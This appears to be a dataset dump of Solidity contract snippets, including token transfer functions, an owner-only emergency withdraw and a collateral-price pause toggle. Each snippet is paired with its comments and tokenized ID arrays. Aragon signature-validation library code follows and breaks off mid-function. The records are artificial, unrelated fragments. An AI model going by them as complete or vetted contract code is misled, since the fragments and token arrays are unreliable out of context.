function _transferStandard(address sender, address recipient, uint256 tAmount) private {
//Set values.
(uint256 tTransferAmount, uint256 tFee, uint256 tSumFee,
uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getValues(tAmount);
//Set amount for sender and manage staked amounts.
_rOwned[sender] = _rOwned[sender].sub(rAmount);
//Address is not excluded from rewards so stakes are decreased.
withdrawHold(sender, tAmount);
//Set amount for recipient and manage staked amounts.
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
//Address is not excluded from rewards so he receives a stake.
hold(recipient, tTransferAmount);
//Refund the liquidity and reward fees to the contract.
_takeRefund(tSumFee);
//Reflect fee calculation.
_reflectFee(rFee, tFee);
//If buy transaction indicate the number of tokens for handle.
if (_buyTx)
_tTokensFromBuyTxs = _tTokensFromBuyTxs + tSumFee;
//Event for the completed transfer.
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
//Set values.
(uint256 tTransferAmount, uint256 tFee, uint256 tSumFee,
uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getValues(tAmount);
//Set amount for sender.
_rOwned[sender] = _rOwned[sender].sub(rAmount);
//Address is not excluded from rewards so stakes are decreased.
withdrawHold(sender, tAmount);
//Set amount for recipient.
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
//Refund the liquidity and reward fees to the contract.
_takeRefund(tSumFee);
//Reflect fee calculation.
_reflectFee(rFee, tFee);
//If buy transaction indicate the number of tokens for handle.
if (_buyTx)
_tTokensFromBuyTxs = _tTokensFromBuyTxs + tSumFee;
//Event for the completed transfer.
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
//Set values.
(uint256 tTransferAmount, uint256 tFee, uint256 tSumFee,
uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getValues(tAmount);
//Set amount for sender.
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
//Set amount for recipient.
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
//Address is not excluded from rewards so he receives a stake.
hold(recipient, rTransferAmount);
//Refund the liquidity and reward fees to the contract.
_takeRefund(tSumFee);
//Reflect fee calculation.
_reflectFee(rFee, tFee);
//If buy transaction indicate the number of tokens for handle.
if (_buyTx)
_tTokensFromBuyTxs = _tTokensFromBuyTxs + tSumFee;
//Event for the completed transfer.
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
//Set values.
(uint256 tTransferAmount, uint256 tFee, uint256 tSumFee,
uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getValues(tAmount);
//Set amount for sender.
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
//Set amount for recipient.
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
//Refund the liquidity and reward fees to the contract.
_takeRefund(tSumFee);
//Reflect fee calculation.
_reflectFee(rFee, tFee);
//If buy transaction indicate the number of tokens for handle.
if (_buyTx)
_tTokensFromBuyTxs = _tTokensFromBuyTxs + tSumFee;
//Event for the completed transfer.
emit Transfer(sender, recipient, tTransferAmount);
}
}
|
Set values.Set amount for sender and manage staked amounts.Address is not excluded from rewards so stakes are decreased.Set amount for recipient and manage staked amounts.Address is not excluded from rewards so he receives a stake.Refund the liquidity and reward fees to the contract.Reflect fee calculation.If buy transaction indicate the number of tokens for handle.Event for the completed transfer.
|
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tFee, uint256 tSumFee,
uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
withdrawHold(sender, tAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
hold(recipient, tTransferAmount);
_takeRefund(tSumFee);
_reflectFee(rFee, tFee);
if (_buyTx)
_tTokensFromBuyTxs = _tTokensFromBuyTxs + tSumFee;
emit Transfer(sender, recipient, tTransferAmount);
}
| 13,078,858 |
[
1,
694,
924,
18,
694,
3844,
364,
5793,
471,
10680,
384,
9477,
30980,
18,
1887,
353,
486,
8845,
628,
283,
6397,
1427,
384,
3223,
854,
23850,
8905,
18,
694,
3844,
364,
8027,
471,
10680,
384,
9477,
30980,
18,
1887,
353,
486,
8845,
628,
283,
6397,
1427,
3904,
17024,
279,
384,
911,
18,
21537,
326,
4501,
372,
24237,
471,
19890,
1656,
281,
358,
326,
6835,
18,
24452,
14036,
11096,
18,
2047,
30143,
2492,
10768,
326,
1300,
434,
2430,
364,
1640,
18,
1133,
364,
326,
5951,
7412,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
13866,
8336,
12,
2867,
5793,
16,
1758,
8027,
16,
2254,
5034,
268,
6275,
13,
3238,
288,
203,
3639,
261,
11890,
5034,
268,
5912,
6275,
16,
2254,
5034,
268,
14667,
16,
2254,
5034,
268,
3495,
14667,
16,
7010,
3639,
2254,
5034,
436,
6275,
16,
2254,
5034,
436,
5912,
6275,
16,
2254,
5034,
436,
14667,
13,
273,
389,
588,
1972,
12,
88,
6275,
1769,
203,
540,
203,
3639,
389,
86,
5460,
329,
63,
15330,
65,
273,
389,
86,
5460,
329,
63,
15330,
8009,
1717,
12,
86,
6275,
1769,
203,
3639,
598,
9446,
20586,
12,
15330,
16,
268,
6275,
1769,
203,
540,
203,
3639,
389,
86,
5460,
329,
63,
20367,
65,
273,
389,
86,
5460,
329,
63,
20367,
8009,
1289,
12,
86,
5912,
6275,
1769,
203,
3639,
6887,
12,
20367,
16,
268,
5912,
6275,
1769,
203,
540,
203,
3639,
389,
22188,
21537,
12,
88,
3495,
14667,
1769,
203,
540,
203,
3639,
389,
1734,
1582,
14667,
12,
86,
14667,
16,
268,
14667,
1769,
203,
540,
203,
3639,
309,
261,
67,
70,
9835,
4188,
13,
203,
5411,
389,
88,
5157,
1265,
38,
9835,
29070,
273,
389,
88,
5157,
1265,
38,
9835,
29070,
397,
268,
3495,
14667,
31,
203,
540,
203,
3639,
3626,
12279,
12,
15330,
16,
8027,
16,
268,
5912,
6275,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x5b1D9008647ebE40A059808B31aAEdF1D1b5a70e/sources/contracts/sifu/Migration.sol
|
* @notice Emergency Withdraw to Owner/
|
function emergencyWithdraw(IERC20 _token) external onlyOwner {
_token.safeTransfer(owner(), _token.balanceOf(address(this)));
}
| 8,418,957 |
[
1,
1514,
24530,
3423,
9446,
358,
16837,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
801,
24530,
1190,
9446,
12,
45,
654,
39,
3462,
389,
2316,
13,
3903,
1338,
5541,
288,
203,
3639,
389,
2316,
18,
4626,
5912,
12,
8443,
9334,
389,
2316,
18,
12296,
951,
12,
2867,
12,
2211,
3719,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xBf8bf2280d84BeA5b4E2e75C8eD97424B1f4fd4B/sources/CloudEndCoinFinal.sol
|
there is no problem in using * here instead of .mul() Constructors
|
contract CEC is BurnableToken {
string public constant name = "CloudEndCoin";
string public constant symbol = "CEC";
uint public constant decimals = 18;
uint256 public constant initialSupply = 9999999999999 * (10 ** uint256(decimals));
constructor () public{
totalSupply = initialSupply;
}
}
| 4,921,214 |
[
1,
18664,
353,
1158,
6199,
316,
1450,
225,
2674,
3560,
434,
263,
16411,
1435,
14291,
1383,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
385,
7228,
353,
605,
321,
429,
1345,
288,
203,
203,
565,
533,
1071,
5381,
508,
273,
315,
6230,
1638,
27055,
14432,
203,
565,
533,
1071,
5381,
3273,
273,
315,
1441,
39,
14432,
203,
565,
2254,
1071,
5381,
15105,
273,
6549,
31,
203,
565,
2254,
5034,
1071,
5381,
2172,
3088,
1283,
273,
23841,
7991,
7991,
380,
261,
2163,
2826,
2254,
5034,
12,
31734,
10019,
203,
203,
565,
3885,
1832,
1071,
95,
203,
3639,
2078,
3088,
1283,
273,
2172,
3088,
1283,
31,
203,
565,
289,
203,
203,
97,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/137/0x48304908669633459c9381CB538Ff7bffF3a8e43/sources/darkUSD.sol
|
If pausing, set paused price; else if unpausing, clear pausedPrice
|
function toggleCollateralPrice() external {
require(hasRole(COLLATERAL_PRICE_PAUSER, msg.sender));
if(collateralPricePaused == false){
pausedPrice = getCollateralPrice();
pausedPrice = 0;
}
collateralPricePaused = !collateralPricePaused;
}
| 3,525,463 |
[
1,
2047,
6790,
9940,
16,
444,
17781,
6205,
31,
469,
309,
640,
8774,
9940,
16,
2424,
17781,
5147,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
10486,
13535,
2045,
287,
5147,
1435,
3903,
288,
203,
3639,
2583,
12,
5332,
2996,
12,
4935,
12190,
654,
1013,
67,
7698,
1441,
67,
4066,
4714,
16,
1234,
18,
15330,
10019,
203,
3639,
309,
12,
12910,
2045,
287,
5147,
28590,
422,
629,
15329,
203,
5411,
17781,
5147,
273,
336,
13535,
2045,
287,
5147,
5621,
203,
5411,
17781,
5147,
273,
374,
31,
203,
3639,
289,
203,
3639,
4508,
2045,
287,
5147,
28590,
273,
401,
12910,
2045,
287,
5147,
28590,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// File: @aragon/apps-agent/contracts/standards/ERC1271.sol
pragma solidity 0.4.24;
// ERC1271 on Feb 12th, 2019: https://github.com/ethereum/EIPs/blob/a97dc434930d0ccc4461c97d8c7a920dc585adf2/EIPS/eip-1271.md
// Using `isValidSignature(bytes32,bytes)` even though the standard still hasn't been modified
// Rationale: https://github.com/ethereum/EIPs/issues/1271#issuecomment-462719728
contract ERC1271 {
bytes4 constant public ERC1271_INTERFACE_ID = 0xfb855dc9; // this.isValidSignature.selector
bytes4 constant public ERC1271_RETURN_VALID_SIGNATURE = 0x20c13b0b; // TODO: Likely needs to be updated
bytes4 constant public ERC1271_RETURN_INVALID_SIGNATURE = 0x00000000;
/**
* @dev Function must be implemented by deriving contract
* @param _hash Arbitrary length data signed on the behalf of address(this)
* @param _signature Signature byte array associated with _data
* @return A bytes4 magic value 0x20c13b0b if the signature check passes, 0x00000000 if not
*
* MUST NOT modify state (using STATICCALL for solc < 0.5, view modifier for solc > 0.5)
* MUST allow external calls
*/
function isValidSignature(bytes32 _hash, bytes memory _signature) public view returns (bytes4);
function returnIsValidSignatureMagicNumber(bool isValid) internal pure returns (bytes4) {
return isValid ? ERC1271_RETURN_VALID_SIGNATURE : ERC1271_RETURN_INVALID_SIGNATURE;
}
}
contract ERC1271Bytes is ERC1271 {
/**
* @dev Default behavior of `isValidSignature(bytes,bytes)`, can be overloaded for custom validation
* @param _data Arbitrary length data signed on the behalf of address(this)
* @param _signature Signature byte array associated with _data
* @return A bytes4 magic value 0x20c13b0b if the signature check passes, 0x00000000 if not
*
* MUST NOT modify state (using STATICCALL for solc < 0.5, view modifier for solc > 0.5)
* MUST allow external calls
*/
function isValidSignature(bytes _data, bytes _signature) public view returns (bytes4) {
return isValidSignature(keccak256(_data), _signature);
}
}
// File: @aragon/apps-agent/contracts/SignatureValidator.sol
pragma solidity 0.4.24;
// Inspired by https://github.com/horizon-games/multi-token-standard/blob/319740cf2a78b8816269ae49a09c537b3fd7303b/contracts/utils/SignatureValidator.sol
// This should probably be moved into aOS: https://github.com/aragon/aragonOS/pull/442
library SignatureValidator {
enum SignatureMode {
Invalid, // 0x00
EIP712, // 0x01
EthSign, // 0x02
ERC1271, // 0x03
NMode // 0x04, to check if mode is specified, leave at the end
}
// bytes4(keccak256("isValidSignature(bytes,bytes)")
bytes4 public constant ERC1271_RETURN_VALID_SIGNATURE = 0x20c13b0b;
uint256 internal constant ERC1271_ISVALIDSIG_MAX_GAS = 250000;
string private constant ERROR_INVALID_LENGTH_POP_BYTE = "SIGVAL_INVALID_LENGTH_POP_BYTE";
/// @dev Validates that a hash was signed by a specified signer.
/// @param hash Hash which was signed.
/// @param signer Address of the signer.
/// @param signature ECDSA signature along with the mode (0 = Invalid, 1 = EIP712, 2 = EthSign, 3 = ERC1271) {mode}{r}{s}{v}.
/// @return Returns whether signature is from a specified user.
function isValidSignature(bytes32 hash, address signer, bytes signature) internal view returns (bool) {
if (signature.length == 0) {
return false;
}
uint8 modeByte = uint8(signature[0]);
if (modeByte >= uint8(SignatureMode.NMode)) {
return false;
}
SignatureMode mode = SignatureMode(modeByte);
if (mode == SignatureMode.EIP712) {
return ecVerify(hash, signer, signature);
} else if (mode == SignatureMode.EthSign) {
return ecVerify(
keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),
signer,
signature
);
} else if (mode == SignatureMode.ERC1271) {
// Pop the mode byte before sending it down the validation chain
return safeIsValidSignature(signer, hash, popFirstByte(signature));
} else {
return false;
}
}
function ecVerify(bytes32 hash, address signer, bytes memory signature) private pure returns (bool) {
(bool badSig, bytes32 r, bytes32 s, uint8 v) = unpackEcSig(signature);
if (badSig) {
return false;
}
return signer == ecrecover(hash, v, r, s);
}
function unpackEcSig(bytes memory signature) private pure returns (bool badSig, bytes32 r, bytes32 s, uint8 v) {
if (signature.length != 66) {
badSig = true;
return;
}
v = uint8(signature[65]);
assembly {
r := mload(add(signature, 33))
s := mload(add(signature, 65))
}
// Allow signature version to be 0 or 1
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
badSig = true;
}
}
function popFirstByte(bytes memory input) private pure returns (bytes memory output) {
uint256 inputLength = input.length;
require(inputLength > 0, ERROR_INVALID_LENGTH_POP_BYTE);
output = new bytes(inputLength - 1);
if (output.length == 0) {
return output;
}
uint256 inputPointer;
uint256 outputPointer;
assembly {
inputPointer := add(input, 0x21)
outputPointer := add(output, 0x20)
}
memcpy(outputPointer, inputPointer, output.length);
}
function safeIsValidSignature(address validator, bytes32 hash, bytes memory signature) private view returns (bool) {
bytes memory data = abi.encodeWithSelector(ERC1271(validator).isValidSignature.selector, hash, signature);
bytes4 erc1271Return = safeBytes4StaticCall(validator, data, ERC1271_ISVALIDSIG_MAX_GAS);
return erc1271Return == ERC1271_RETURN_VALID_SIGNATURE;
}
function safeBytes4StaticCall(address target, bytes data, uint256 maxGas) private view returns (bytes4 ret) {
uint256 gasLeft = gasleft();
uint256 callGas = gasLeft > maxGas ? maxGas : gasLeft;
bool ok;
assembly {
ok := staticcall(callGas, target, add(data, 0x20), mload(data), 0, 0)
}
if (!ok) {
return;
}
uint256 size;
assembly { size := returndatasize }
if (size != 32) {
return;
}
assembly {
let ptr := mload(0x40) // get next free memory ptr
returndatacopy(ptr, 0, size) // copy return from above `staticcall`
ret := mload(ptr) // read data at ptr and set it to be returned
}
return ret;
}
// From: https://github.com/Arachnid/solidity-stringutils/blob/01e955c1d6/src/strings.sol
function memcpy(uint256 dest, uint256 src, uint256 len) private pure {
// Copy word-length chunks while possible
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
}
// File: @aragon/apps-agent/contracts/standards/IERC165.sol
pragma solidity 0.4.24;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external pure returns (bool);
}
// File: @aragon/os/contracts/common/UnstructuredStorage.sol
/*
* SPDX-License-Identitifer: MIT
*/
pragma solidity ^0.4.24;
library UnstructuredStorage {
function getStorageBool(bytes32 position) internal view returns (bool data) {
assembly { data := sload(position) }
}
function getStorageAddress(bytes32 position) internal view returns (address data) {
assembly { data := sload(position) }
}
function getStorageBytes32(bytes32 position) internal view returns (bytes32 data) {
assembly { data := sload(position) }
}
function getStorageUint256(bytes32 position) internal view returns (uint256 data) {
assembly { data := sload(position) }
}
function setStorageBool(bytes32 position, bool data) internal {
assembly { sstore(position, data) }
}
function setStorageAddress(bytes32 position, address data) internal {
assembly { sstore(position, data) }
}
function setStorageBytes32(bytes32 position, bytes32 data) internal {
assembly { sstore(position, data) }
}
function setStorageUint256(bytes32 position, uint256 data) internal {
assembly { sstore(position, data) }
}
}
// File: @aragon/os/contracts/acl/IACL.sol
/*
* SPDX-License-Identitifer: MIT
*/
pragma solidity ^0.4.24;
interface IACL {
function initialize(address permissionsCreator) external;
// TODO: this should be external
// See https://github.com/ethereum/solidity/issues/4832
function hasPermission(address who, address where, bytes32 what, bytes how) public view returns (bool);
}
// File: @aragon/os/contracts/common/IVaultRecoverable.sol
/*
* SPDX-License-Identitifer: MIT
*/
pragma solidity ^0.4.24;
interface IVaultRecoverable {
event RecoverToVault(address indexed vault, address indexed token, uint256 amount);
function transferToVault(address token) external;
function allowRecoverability(address token) external view returns (bool);
function getRecoveryVault() external view returns (address);
}
// File: @aragon/os/contracts/kernel/IKernel.sol
/*
* SPDX-License-Identitifer: MIT
*/
pragma solidity ^0.4.24;
interface IKernelEvents {
event SetApp(bytes32 indexed namespace, bytes32 indexed appId, address app);
}
// This should be an interface, but interfaces can't inherit yet :(
contract IKernel is IKernelEvents, IVaultRecoverable {
function acl() public view returns (IACL);
function hasPermission(address who, address where, bytes32 what, bytes how) public view returns (bool);
function setApp(bytes32 namespace, bytes32 appId, address app) public;
function getApp(bytes32 namespace, bytes32 appId) public view returns (address);
}
// File: @aragon/os/contracts/apps/AppStorage.sol
/*
* SPDX-License-Identitifer: MIT
*/
pragma solidity ^0.4.24;
contract AppStorage {
using UnstructuredStorage for bytes32;
/* Hardcoded constants to save gas
bytes32 internal constant KERNEL_POSITION = keccak256("aragonOS.appStorage.kernel");
bytes32 internal constant APP_ID_POSITION = keccak256("aragonOS.appStorage.appId");
*/
bytes32 internal constant KERNEL_POSITION = 0x4172f0f7d2289153072b0a6ca36959e0cbe2efc3afe50fc81636caa96338137b;
bytes32 internal constant APP_ID_POSITION = 0xd625496217aa6a3453eecb9c3489dc5a53e6c67b444329ea2b2cbc9ff547639b;
function kernel() public view returns (IKernel) {
return IKernel(KERNEL_POSITION.getStorageAddress());
}
function appId() public view returns (bytes32) {
return APP_ID_POSITION.getStorageBytes32();
}
function setKernel(IKernel _kernel) internal {
KERNEL_POSITION.setStorageAddress(address(_kernel));
}
function setAppId(bytes32 _appId) internal {
APP_ID_POSITION.setStorageBytes32(_appId);
}
}
// File: @aragon/os/contracts/acl/ACLSyntaxSugar.sol
/*
* SPDX-License-Identitifer: MIT
*/
pragma solidity ^0.4.24;
contract ACLSyntaxSugar {
function arr() internal pure returns (uint256[]) {
return new uint256[](0);
}
function arr(bytes32 _a) internal pure returns (uint256[] r) {
